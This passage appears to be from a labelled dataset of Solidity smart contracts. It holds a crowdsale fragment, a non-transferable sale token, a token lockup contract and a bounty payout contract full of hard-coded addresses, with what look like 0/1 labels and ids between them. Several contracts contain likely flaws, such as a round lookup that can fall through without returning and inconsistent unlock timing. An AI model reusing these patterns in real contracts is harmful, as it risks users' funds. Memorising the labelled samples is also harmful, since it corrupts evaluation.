TokenPurchase(msg.sender, _contributor, msg.value, tokens); _forwardFunds(); } function _getCurrentRound() internal view returns (uint) { for (uint i = 0; i < 5; i++) { if (weiDelivered < roundGoals[i]) { return i; } } } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint curRound = _getCurrentRound(); uint256 calculatedTokenAmount = 0; uint256 roundWei = 0; uint256 weiRaisedIntermediate = weiDelivered; uint256 weiAmount = _weiAmount; for (curRound; curRound < 5; curRound++) { if (weiRaisedIntermediate.add(weiAmount) > roundGoals[curRound]) { roundWei = roundGoals[curRound].sub(weiRaisedIntermediate); weiRaisedIntermediate = weiRaisedIntermediate.add(roundWei); weiAmount = weiAmount.sub(roundWei); calculatedTokenAmount = calculatedTokenAmount.add(roundWei.mul(roundRates[curRound])); } else { calculatedTokenAmount = calculatedTokenAmount.add(weiAmount.mul(roundRates[curRound])); break; } } return calculatedTokenAmount; } function _getEthAmount(uint256 _tokenAmount) internal view returns (uint256) { uint curRound = _getCurrentRound(); uint256 calculatedWeiAmount = 0; uint256 roundWei = 0; uint256 weiRaisedIntermediate = weiDelivered; uint256 tokenAmount = _tokenAmount; for (curRound; curRound < 5; curRound++) { if(weiRaisedIntermediate.add(tokenAmount.div(roundRates[curRound])) > roundGoals[curRound]) { roundWei = roundGoals[curRound].sub(weiRaisedIntermediate); weiRaisedIntermediate = weiRaisedIntermediate.add(roundWei); tokenAmount = tokenAmount.sub(roundWei.div(roundRates[curRound])); calculatedWeiAmount = calculatedWeiAmount.add(tokenAmount.div(roundRates[curRound])); } else { calculatedWeiAmount = calculatedWeiAmount.add(tokenAmount.div(roundRates[curRound])); break; } } return calculatedWeiAmount; } function _forwardFunds() internal { Contributor storage contributor = contributors[msg.sender]; contributor.eth = contributor.eth.add(msg.value); if (contributor.created == false) { contributor.created = true; addresses.push(msg.sender); } if (contributor.whitelisted) { _deliverTokens(msg.sender); } } function _deliverTokens(address _contributor) internal { Contributor storage contributor = contributors[_contributor]; uint256 amountEth = contributor.eth; uint256 amountToken = _getTokenAmount(amountEth); require(amountToken > 0); require(amountEth > 0); require(contributor.whitelisted); contributor.eth = 0; weiDelivered = weiDelivered.add(amountEth); wallet.transfer(amountEth); token.transfer(_contributor, amountToken); } function _refundTokens(address _contributor) internal { Contributor storage contributor = contributors[_contributor]; uint256 ethAmount = contributor.eth; require(ethAmount > 0); contributor.eth = 0; TokenRefund(_contributor, ethAmount); _contributor.transfer(ethAmount); } function _whitelistAddress(address _contributor) internal { Contributor storage contributor = contributors[_contributor]; contributor.whitelisted = true; if (contributor.created == false) { contributor.created = true; addresses.push(_contributor); } if (contributor.eth > 0) { _deliverTokens(_contributor); } } function _sendToken(address _address, uint256 _amountTokens) internal{ XdacToken _token = XdacToken(token); require(_token.balanceOf(_token.owner()) >= _amountTokens); _whitelistAddress(_address); _token.transfer(_address, _amountTokens); } function whitelistAddresses(address[] _contributors) public onlyOwner { for (uint256 i = 0; i < _contributors.length; i++) { _whitelistAddress(_contributors[i]); } } function whitelistAddress(address _contributor) public onlyOwner { _whitelistAddress(_contributor); } function transferTokenOwnership(address _newOwner) public onlyOwner returns(bool success) { XdacToken _token = XdacToken(token); _token.transfer(_newOwner, _token.balanceOf(_token.owner())); _token.transferOwnership(_newOwner); return true; } function sendToken(address _address, uint256 _amountTokens) public onlyOwner returns(bool success) { _sendToken(_address, _amountTokens); return true; } function sendTokens(address[] _addresses, uint256[] _amountTokens) public onlyOwner returns(bool success) { require(_addresses.length > 0); require(_amountTokens.length > 0); require(_addresses.length == _amountTokens.length); for (uint256 i = 0; i < _addresses.length; i++) { _sendToken(_addresses[i], _amountTokens[i]); } return true; } function refundTokensForAddress(address _contributor) public onlyOwner { _refundTokens(_contributor); } function getAddresses() public onlyOwner view returns (address[] ) { return addresses; } function refundTokens() public { _refundTokens(msg.sender); } function getTokenAmount(uint256 _weiAmount) public view returns (uint256) { return _getTokenAmount(_weiAmount); } function getEthAmount(uint256 _tokenAmount) public view returns (uint256) { return _getEthAmount(_tokenAmount); } function getCurrentRate() public view returns (uint256) { return roundRates[_getCurrentRound()]; } }
0
2,454
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Contactable is Ownable { string public contactInformation; function setContactInformation(string info) onlyOwner public { contactInformation = info; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract RootsSaleToken is Contactable, MintableToken { string constant public name = "ROOTS Sale Token"; string constant public symbol = "ROOTSSale"; uint constant public decimals = 18; bool public isTransferable = false; function transfer(address _to, uint _value) public returns (bool) { require(isTransferable); return false; } function transfer(address _to, uint _value, bytes _data) public returns (bool) { require(isTransferable); return false; } function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(isTransferable); return false; } function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool) { require(isTransferable); return false; } }
1
4,598
pragma solidity ^0.4.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract owlockups { using SafeMath for uint; string public symbol = "OWTL"; uint256 public decimals = 18; uint256 public totalSupply; uint256 public totalAvailable; uint public totalAddress; address public admin; uint public _lockupBaseTime = 1 days; address public tokenAddress; modifier onlyOwner { require(msg.sender == admin); _; } mapping ( address => uint256 ) public balanceOf; mapping ( address => lockupMeta ) public lockups; struct lockupMeta { uint256 amount; uint256 cycle_amount; uint cycle; uint claimed_cycle; uint duration; uint last_withdraw; bool active; bool claimed; uint time; } function owlockups(address _address) public { tokenAddress = _address; admin = msg.sender; } function setAdmin(address _newAdmin) public onlyOwner { admin = _newAdmin; } function lockTokens( address _address, uint256 _value, uint _percentage, uint _duration, uint _cycle ) public onlyOwner returns (bool success) { _value = _value * 10**uint(decimals); lockupMeta storage lm = lockups[_address]; require(!lm.active); uint256 _amount = (_value.mul(_percentage)).div(100); uint256 _remaining = _value.sub(_amount); uint256 _cycle_amount = _remaining.div(_cycle); lm.amount = _remaining; lm.duration = _duration * _lockupBaseTime; lm.cycle_amount = _cycle_amount; lm.cycle = _cycle; lm.active = true; lm.last_withdraw = now; lm.time = now; totalAddress++; totalSupply = totalSupply.add(_value); totalAvailable = totalAvailable.add(_amount); balanceOf[_address] = balanceOf[_address].add(_amount); success = true; } function unlockTokens() public returns (bool success) { lockupMeta storage lm = lockups[msg.sender]; require( lm.active && !lm.claimed ); uint _curTime = now; uint _diffTime = _curTime.sub(lm.last_withdraw); uint _cycles = (_diffTime.div(_lockupBaseTime)); if(_cycles >= 1){ uint remaining_cycle = lm.cycle.sub(lm.claimed_cycle); uint256 _amount = 0; if(_cycles > remaining_cycle){ _amount = lm.cycle_amount * remaining_cycle; lm.claimed_cycle = lm.cycle; lm.last_withdraw = _curTime; } else { _amount = lm.cycle_amount * _cycles; lm.claimed_cycle = lm.claimed_cycle.add(_cycles); lm.last_withdraw = lm.last_withdraw.add(_cycles.mul(lm.duration)); } if(lm.claimed_cycle == lm.cycle){ lm.claimed = true; } totalAvailable = totalAvailable.add(_amount); balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount); success = true; } else { success = false; } } function availableTokens(address _address) public view returns (uint256 _amount) { lockupMeta storage lm = lockups[_address]; _amount = 0; if(lm.active && !lm.claimed){ uint _curTime = now; uint _diffTime = _curTime.sub(lm.last_withdraw); uint _cycles = (_diffTime.div(_lockupBaseTime)); if(_cycles >= 1){ uint remaining_cycle = lm.cycle.sub(lm.claimed_cycle); if(_cycles > remaining_cycle){ _amount = lm.cycle_amount * remaining_cycle; } else { _amount = lm.cycle_amount * _cycles; } } } } function transfer(address _to, uint256 _value) public returns (bool success) { require( _value > 0 && balanceOf[msg.sender] >= _value ); totalSupply = totalSupply.sub(_value); totalAvailable = totalAvailable.sub(_value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); ERC20(tokenAddress).transfer(_to, _value); return true; } }
1
3,104
pragma solidity ^0.4.24; contract Ownable {} contract AddressesFilterFeature is Ownable {} contract ERC20Basic {} contract BasicToken is ERC20Basic {} contract ERC20 {} contract StandardToken is ERC20, BasicToken {} contract MintableToken is AddressesFilterFeature, StandardToken {} contract Token is MintableToken { function mint(address, uint256) public returns (bool); } contract FifthBountyWPTpayoutPart01 { address public owner; Token public company_token; address[] public addressOfBountyMembers; mapping(address => uint256) bountyMembersAmounts; uint currentBatch; uint addrPerStep; modifier onlyOwner { require(owner == msg.sender); _; } event Transfer(address indexed to, uint indexed value); event OwnerChanged(address indexed owner); constructor (Token _company_token) public { owner = msg.sender; company_token = _company_token; currentBatch = 0; addrPerStep = 25; setBountyAddresses(); setBountyAmounts(); } function() public payable { revert(); } function setCountPerStep(uint _newValue) public onlyOwner { addrPerStep = _newValue; } function setOwner(address _owner) public onlyOwner { require(_owner != 0); owner = _owner; emit OwnerChanged(owner); } function makePayout() public onlyOwner { uint startIndex = currentBatch * addrPerStep; uint endIndex = (currentBatch + 1 ) * addrPerStep; for (uint i = startIndex; (i < endIndex && i < addressOfBountyMembers.length); i++) { company_token.mint(addressOfBountyMembers[i], bountyMembersAmounts[addressOfBountyMembers[i]]); } currentBatch++; } function setBountyAddresses() internal { addressOfBountyMembers.push(0xfd5f3f3ad276e48D3728C72C26727c177D1aA09b); addressOfBountyMembers.push(0xFD4a4Ea486c8294E89207Ecf4cf21a3886de37e1); addressOfBountyMembers.push(0xFc7a64183f49f71A1D604496E62c08f20aF5b5d6); addressOfBountyMembers.push(0xfbd40d775c29c36f56f7c340891c1484fd4b9944); addressOfBountyMembers.push(0xfb86Ef5E076e37f723A2e65a0113BC66e7dA5e12); addressOfBountyMembers.push(0xf9c4292AE2944452c7F56e8bb4fB63ddF830f034); addressOfBountyMembers.push(0xF7e0AeE36D0170AB5f66e5d76515ae4B147c64dd); addressOfBountyMembers.push(0xF7De64DeC2e3c8CEF47836A2FB904bE979139D8a); addressOfBountyMembers.push(0xf72736881fb6bbafbbceb9cdc3ecd600fdb0a7a1); addressOfBountyMembers.push(0xf6583Aab5d48903F6308157155c11ed087831C57); addressOfBountyMembers.push(0xF62c52F593eF801594d7280b9f31F5127d57d682); addressOfBountyMembers.push(0xF6168297046Ca6fa514834c30168e63A47256AF4); addressOfBountyMembers.push(0xf5FA944b459b308B01f7ce2D350Dcc1F522d5a7c); addressOfBountyMembers.push(0xf551395d6bBA0b984C3d91F476E32558c88Ba3a7); addressOfBountyMembers.push(0xf53430F1cc2F899D29eAe1bC2E52b4192c0Ea4de); addressOfBountyMembers.push(0xf431662d1Cd14c96b80eaaB5aF242fC1be7E4b62); addressOfBountyMembers.push(0xF37955134Dda37eaC7380f5eb42bce10796bD224); addressOfBountyMembers.push(0xF360ABbDEA1283d342AD9CB3770e10597217d4b2); addressOfBountyMembers.push(0xf24eC0497d02eb793A946e3fa51297FA1Aec329f); addressOfBountyMembers.push(0xf2418654Dd2e239EcBCF00aA2BC18aD8AF9bad52); addressOfBountyMembers.push(0xf13f88cC201bffc81DC9a280790Ad567d99ff6FD); addressOfBountyMembers.push(0xf117a07F02Da56696E8875F63b2c3BF906df0EEE); addressOfBountyMembers.push(0xF0E7E4BD129d30440A695333A32DA777a7D948b9); addressOfBountyMembers.push(0xF0d708b4A342A2F18e513BF8145A0c1454bc2108); addressOfBountyMembers.push(0xf0593428298Db8F92818DF6F4FEEB639d84D6C9E); addressOfBountyMembers.push(0xf04E88adbc5BC328135Fc20038b962b0201FFB27); addressOfBountyMembers.push(0xeEf3DE554EF8DCf34b4DF193572EEA6D75622b21); addressOfBountyMembers.push(0xEd6E237B32e15d27A4FBF6502099F765F18353f9); addressOfBountyMembers.push(0xEd55F63701b023696Ac92bE695Ef1421a7095D9A); addressOfBountyMembers.push(0xecB40E29C0Ce2108305890BBdD6082D47a9Ddb5F); addressOfBountyMembers.push(0xEB057C509CF30cc45b0f52c8e507Ac3Cf8E78777); addressOfBountyMembers.push(0xe8B400c93B829d2B46d2fe8B730412373a4822Bf); addressOfBountyMembers.push(0xe8a718296Edcd56132A2de6045965dDDA8f7176B); addressOfBountyMembers.push(0xE798b74f193A942a6d5dFAC9dD3816ee45B434BC); addressOfBountyMembers.push(0xe7195DEc1D02cDC2180feaD59bC8E61cab343E13); addressOfBountyMembers.push(0xE6F9b6bB035e3F982a484091496cF7B43ea0e7De); addressOfBountyMembers.push(0xe64643E2f0340c9e7C2E01fdb99667f6f55200DA); addressOfBountyMembers.push(0xe60A9ab929514848d5100a67677BebA09b9E0dA7); addressOfBountyMembers.push(0xe54AbAADd0FDbF41cC1EB7da616AdAB517b372d1); addressOfBountyMembers.push(0xe53Dc4cb2209C244eb6C62Cf1F9901359233f690); addressOfBountyMembers.push(0xe47bd26318de067366eeda3ce62a475829907d40); addressOfBountyMembers.push(0xE27C464Cec75CEeFD49485ed77C177D5e225362a); addressOfBountyMembers.push(0xe0293D2cFa95C5362F678F347e09a59FB6fa802c); addressOfBountyMembers.push(0xdd8804E408a21dc344e2A480DD207dEa38F325Ce); addressOfBountyMembers.push(0xdC935D60137AA8Dfd513Ad790217cD5faDF9101a); addressOfBountyMembers.push(0xda76c50E43912fB5A764b966915c270B9a637487); addressOfBountyMembers.push(0xD93b45FfBF6Dc05A588f97230cd7F52595888308); addressOfBountyMembers.push(0xd92bed42045a01e2fe1ab91751e0d3aa615642cf); addressOfBountyMembers.push(0xD902cCb411E6B576Ed567159e8e32e0dd7902488); addressOfBountyMembers.push(0xd8A321513f1fdf6EE58f599159f3C2ea80349243); addressOfBountyMembers.push(0xD86BaD70373083e842faa85Bc0ed9812fEDc8875); addressOfBountyMembers.push(0xD6DD581efeabff08bfaf6abF4A621e5263b93794); addressOfBountyMembers.push(0xd5ccf1c632d7448cd9335cf78F2448e23b0003bF); addressOfBountyMembers.push(0xd568cA92ee7fF3AbEef1E32ca31931843bed4758); addressOfBountyMembers.push(0xD4709f13192EC20D65883981F52CFe0543756E19); addressOfBountyMembers.push(0xD3e7C204D9Fa3A6E195c3B1216a77BB60923f945); addressOfBountyMembers.push(0xd3dE61685BAa88Ed9b9dd6d96d1Ac4E6209669D5); addressOfBountyMembers.push(0xD384FF0dC552e89a9729974AB1CcA3d580DBA30f); addressOfBountyMembers.push(0xd193466c05aae45f1C341447e8ee95BdBEa8297e); addressOfBountyMembers.push(0xd0000Ec17F5A68ee862b5673Fe32C39C600A138E); addressOfBountyMembers.push(0xCF62a5497A642ab55E139ca05CBbC67076b51685); addressOfBountyMembers.push(0xCe091A4D706c333bC6651B20A3Cae1686890CdE8); addressOfBountyMembers.push(0xcCFA388A36C36a8Bd4ad504236dDa9A3536583aB); addressOfBountyMembers.push(0xCcD74647cD44758d892D607FAeA791460A239039); addressOfBountyMembers.push(0xcc023e9f32b4CbED3d57aa53C706cd9c692AB8cd); addressOfBountyMembers.push(0xcb74E4cc30fdEbBE93E30410989C2e053cbC5dF9); addressOfBountyMembers.push(0xC9214510BE987d18A53ea329Bc6E1f4310097E99); addressOfBountyMembers.push(0xc8200a3e8576E5f779E845D7e168FD2463b7CeD1); addressOfBountyMembers.push(0xc6934E0Cc0e6c97F7Fadb37A6428C84CF8dfA3BD); addressOfBountyMembers.push(0xC68AD4fdbb11891e1E3C28c24dED3fC2D3724669); addressOfBountyMembers.push(0xC64C17A136f9faa600a111ad10f59Cb6574f4396); addressOfBountyMembers.push(0xc6375c620dF0b0D20B92f6652460fbDacAb5Ad28); addressOfBountyMembers.push(0xc604563839f0e5D890FFc3BbfDBa6062d8D3b58D); addressOfBountyMembers.push(0xC4f8e336911da71Fb49bF754F27A4D1bCceA0BB0); addressOfBountyMembers.push(0xC4acD6308Fab3077d19FE4457191A15E44d131e3); addressOfBountyMembers.push(0xc44F60af8Bf4F4F4c13C1Ba3e12F637956c69935); addressOfBountyMembers.push(0xc3C2bB09D094579dCFe705971f8Fbf164A6523B5); addressOfBountyMembers.push(0xc2C6869Ff474C656a56e7E0ed9dCfE6BEB6999A3); addressOfBountyMembers.push(0xC18f70cf0fE4d22C3725159b899DF987846D1AA7); addressOfBountyMembers.push(0xbFeEB695Eda630CA27534ecFbe7B915F500378C2); addressOfBountyMembers.push(0xBF98422620fB97C5DB514F2eE2c33765C226E8eC); addressOfBountyMembers.push(0xbF81C43910e09C9A5339B2C15C59A7844DE36eAa); addressOfBountyMembers.push(0xBF2bf97b7fBD319c849D4cB6540fA9974b7c578e); addressOfBountyMembers.push(0xbF1FdaC65b7D366b6Cb9BDE7d9ebf338A11D5EA0); addressOfBountyMembers.push(0xBF1593D47c094efc32e39BBA951dE5B9902eEaA5); addressOfBountyMembers.push(0xbeD4AD5d3dAF23a4567fedD66174849ba9Ee374d); addressOfBountyMembers.push(0xBEd0868BE655d244292A2945f6c1C82af97628dD); addressOfBountyMembers.push(0xbea37D67eF2979942fcd5e8715892F98901427ba); addressOfBountyMembers.push(0xBE96BACe8f6fa27a1441902E805CF5B026F7ea7d); addressOfBountyMembers.push(0xBD46eAccfF870A03CC541b13af90157feFd77243); addressOfBountyMembers.push(0xBC5a08fd609fBEaeF15DC36860052B01fE889Def); addressOfBountyMembers.push(0xbb04b1fff91E930F18675759ffE650cff9B15605); addressOfBountyMembers.push(0xb9ae7Be5d750A85AfedDc2732EBe88540c5BF9F3); addressOfBountyMembers.push(0xb94229396B9166ED549a080c3103c36D2bCA63e1); addressOfBountyMembers.push(0xb929d51980d4018b7b3fF84BEE63fAf8B3eABce6); addressOfBountyMembers.push(0xB73F5d6fED57ef3b6A624c918882010B38d6FeF5); addressOfBountyMembers.push(0xB632265DEFd4e8B84Bf4fD78DACbc6c26DF3314e); addressOfBountyMembers.push(0xb4Bfc94095dCcD357680eDCc0144768B2E98BAd2); addressOfBountyMembers.push(0xb465Df34B5B13a52F696236e836922Aee4B358E9); addressOfBountyMembers.push(0xb1887D27105647d2860DFc19A587007359278604); } function setBountyAmounts() internal { bountyMembersAmounts[0xfd5f3f3ad276e48D3728C72C26727c177D1aA09b] = 116000000000000000000; bountyMembersAmounts[0xFD4a4Ea486c8294E89207Ecf4cf21a3886de37e1] = 3100000000000000000000; bountyMembersAmounts[0xFc7a64183f49f71A1D604496E62c08f20aF5b5d6] = 130000000000000000000; bountyMembersAmounts[0xfbd40d775c29c36f56f7c340891c1484fd4b9944] = 123000000000000000000; bountyMembersAmounts[0xfb86Ef5E076e37f723A2e65a0113BC66e7dA5e12] = 128000000000000000000; bountyMembersAmounts[0xf9c4292AE2944452c7F56e8bb4fB63ddF830f034] = 115000000000000000000; bountyMembersAmounts[0xF7e0AeE36D0170AB5f66e5d76515ae4B147c64dd] = 164000000000000000000; bountyMembersAmounts[0xF7De64DeC2e3c8CEF47836A2FB904bE979139D8a] = 101000000000000000000; bountyMembersAmounts[0xf72736881fb6bbafbbceb9cdc3ecd600fdb0a7a1] = 100000000000000000000; bountyMembersAmounts[0xf6583Aab5d48903F6308157155c11ed087831C57] = 104000000000000000000; bountyMembersAmounts[0xF62c52F593eF801594d7280b9f31F5127d57d682] = 243000000000000000000; bountyMembersAmounts[0xF6168297046Ca6fa514834c30168e63A47256AF4] = 160000000000000000000; bountyMembersAmounts[0xf5FA944b459b308B01f7ce2D350Dcc1F522d5a7c] = 159000000000000000000; bountyMembersAmounts[0xf551395d6bBA0b984C3d91F476E32558c88Ba3a7] = 972000000000000000000; bountyMembersAmounts[0xf53430F1cc2F899D29eAe1bC2E52b4192c0Ea4de] = 114000000000000000000; bountyMembersAmounts[0xf431662d1Cd14c96b80eaaB5aF242fC1be7E4b62] = 104000000000000000000; bountyMembersAmounts[0xF37955134Dda37eaC7380f5eb42bce10796bD224] = 100000000000000000000; bountyMembersAmounts[0xF360ABbDEA1283d342AD9CB3770e10597217d4b2] = 371000000000000000000; bountyMembersAmounts[0xf24eC0497d02eb793A946e3fa51297FA1Aec329f] = 101000000000000000000; bountyMembersAmounts[0xf2418654Dd2e239EcBCF00aA2BC18aD8AF9bad52] = 2000000000000000000000; bountyMembersAmounts[0xf13f88cC201bffc81DC9a280790Ad567d99ff6FD] = 120000000000000000000; bountyMembersAmounts[0xf117a07F02Da56696E8875F63b2c3BF906df0EEE] = 217000000000000000000; bountyMembersAmounts[0xF0E7E4BD129d30440A695333A32DA777a7D948b9] = 200000000000000000000; bountyMembersAmounts[0xF0d708b4A342A2F18e513BF8145A0c1454bc2108] = 1712000000000000000000; bountyMembersAmounts[0xf0593428298Db8F92818DF6F4FEEB639d84D6C9E] = 217000000000000000000; bountyMembersAmounts[0xf04E88adbc5BC328135Fc20038b962b0201FFB27] = 102000000000000000000; bountyMembersAmounts[0xeEf3DE554EF8DCf34b4DF193572EEA6D75622b21] = 154000000000000000000; bountyMembersAmounts[0xEd6E237B32e15d27A4FBF6502099F765F18353f9] = 216000000000000000000; bountyMembersAmounts[0xEd55F63701b023696Ac92bE695Ef1421a7095D9A] = 102000000000000000000; bountyMembersAmounts[0xecB40E29C0Ce2108305890BBdD6082D47a9Ddb5F] = 115000000000000000000; bountyMembersAmounts[0xEB057C509CF30cc45b0f52c8e507Ac3Cf8E78777] = 102000000000000000000; bountyMembersAmounts[0xe8B400c93B829d2B46d2fe8B730412373a4822Bf] = 157000000000000000000; bountyMembersAmounts[0xe8a718296Edcd56132A2de6045965dDDA8f7176B] = 100000000000000000000; bountyMembersAmounts[0xE798b74f193A942a6d5dFAC9dD3816ee45B434BC] = 140000000000000000000; bountyMembersAmounts[0xe7195DEc1D02cDC2180feaD59bC8E61cab343E13] = 121000000000000000000; bountyMembersAmounts[0xE6F9b6bB035e3F982a484091496cF7B43ea0e7De] = 199000000000000000000; bountyMembersAmounts[0xe64643E2f0340c9e7C2E01fdb99667f6f55200DA] = 245000000000000000000; bountyMembersAmounts[0xe60A9ab929514848d5100a67677BebA09b9E0dA7] = 229000000000000000000; bountyMembersAmounts[0xe54AbAADd0FDbF41cC1EB7da616AdAB517b372d1] = 116000000000000000000; bountyMembersAmounts[0xe53Dc4cb2209C244eb6C62Cf1F9901359233f690] = 182000000000000000000; bountyMembersAmounts[0xe47bd26318de067366eeda3ce62a475829907d40] = 105000000000000000000; bountyMembersAmounts[0xE27C464Cec75CEeFD49485ed77C177D5e225362a] = 618000000000000000000; bountyMembersAmounts[0xe0293D2cFa95C5362F678F347e09a59FB6fa802c] = 187000000000000000000; bountyMembersAmounts[0xdd8804E408a21dc344e2A480DD207dEa38F325Ce] = 124000000000000000000; bountyMembersAmounts[0xdC935D60137AA8Dfd513Ad790217cD5faDF9101a] = 143000000000000000000; bountyMembersAmounts[0xda76c50E43912fB5A764b966915c270B9a637487] = 124000000000000000000; bountyMembersAmounts[0xD93b45FfBF6Dc05A588f97230cd7F52595888308] = 180000000000000000000; bountyMembersAmounts[0xd92bed42045a01e2fe1ab91751e0d3aa615642cf] = 100000000000000000000; bountyMembersAmounts[0xD902cCb411E6B576Ed567159e8e32e0dd7902488] = 113000000000000000000; bountyMembersAmounts[0xd8A321513f1fdf6EE58f599159f3C2ea80349243] = 107000000000000000000; bountyMembersAmounts[0xD86BaD70373083e842faa85Bc0ed9812fEDc8875] = 122000000000000000000; bountyMembersAmounts[0xD6DD581efeabff08bfaf6abF4A621e5263b93794] = 110000000000000000000; bountyMembersAmounts[0xd5ccf1c632d7448cd9335cf78F2448e23b0003bF] = 126000000000000000000; bountyMembersAmounts[0xd568cA92ee7fF3AbEef1E32ca31931843bed4758] = 140000000000000000000; bountyMembersAmounts[0xD4709f13192EC20D65883981F52CFe0543756E19] = 103000000000000000000; bountyMembersAmounts[0xD3e7C204D9Fa3A6E195c3B1216a77BB60923f945] = 275000000000000000000; bountyMembersAmounts[0xd3dE61685BAa88Ed9b9dd6d96d1Ac4E6209669D5] = 178000000000000000000; bountyMembersAmounts[0xD384FF0dC552e89a9729974AB1CcA3d580DBA30f] = 230000000000000000000; bountyMembersAmounts[0xd193466c05aae45f1C341447e8ee95BdBEa8297e] = 102000000000000000000; bountyMembersAmounts[0xd0000Ec17F5A68ee862b5673Fe32C39C600A138E] = 100000000000000000000; bountyMembersAmounts[0xCF62a5497A642ab55E139ca05CBbC67076b51685] = 128000000000000000000; bountyMembersAmounts[0xCe091A4D706c333bC6651B20A3Cae1686890CdE8] = 151000000000000000000; bountyMembersAmounts[0xcCFA388A36C36a8Bd4ad504236dDa9A3536583aB] = 198000000000000000000; bountyMembersAmounts[0xCcD74647cD44758d892D607FAeA791460A239039] = 536000000000000000000; bountyMembersAmounts[0xcc023e9f32b4CbED3d57aa53C706cd9c692AB8cd] = 246000000000000000000; bountyMembersAmounts[0xcb74E4cc30fdEbBE93E30410989C2e053cbC5dF9] = 150000000000000000000; bountyMembersAmounts[0xC9214510BE987d18A53ea329Bc6E1f4310097E99] = 112000000000000000000; bountyMembersAmounts[0xc8200a3e8576E5f779E845D7e168FD2463b7CeD1] = 104000000000000000000; bountyMembersAmounts[0xc6934E0Cc0e6c97F7Fadb37A6428C84CF8dfA3BD] = 193000000000000000000; bountyMembersAmounts[0xC68AD4fdbb11891e1E3C28c24dED3fC2D3724669] = 194000000000000000000; bountyMembersAmounts[0xC64C17A136f9faa600a111ad10f59Cb6574f4396] = 144000000000000000000; bountyMembersAmounts[0xc6375c620dF0b0D20B92f6652460fbDacAb5Ad28] = 130000000000000000000; bountyMembersAmounts[0xc604563839f0e5D890FFc3BbfDBa6062d8D3b58D] = 156000000000000000000; bountyMembersAmounts[0xC4f8e336911da71Fb49bF754F27A4D1bCceA0BB0] = 444000000000000000000; bountyMembersAmounts[0xC4acD6308Fab3077d19FE4457191A15E44d131e3] = 195000000000000000000; bountyMembersAmounts[0xc44F60af8Bf4F4F4c13C1Ba3e12F637956c69935] = 102000000000000000000; bountyMembersAmounts[0xc3C2bB09D094579dCFe705971f8Fbf164A6523B5] = 103000000000000000000; bountyMembersAmounts[0xc2C6869Ff474C656a56e7E0ed9dCfE6BEB6999A3] = 110000000000000000000; bountyMembersAmounts[0xC18f70cf0fE4d22C3725159b899DF987846D1AA7] = 104000000000000000000; bountyMembersAmounts[0xbFeEB695Eda630CA27534ecFbe7B915F500378C2] = 128000000000000000000; bountyMembersAmounts[0xBF98422620fB97C5DB514F2eE2c33765C226E8eC] = 103000000000000000000; 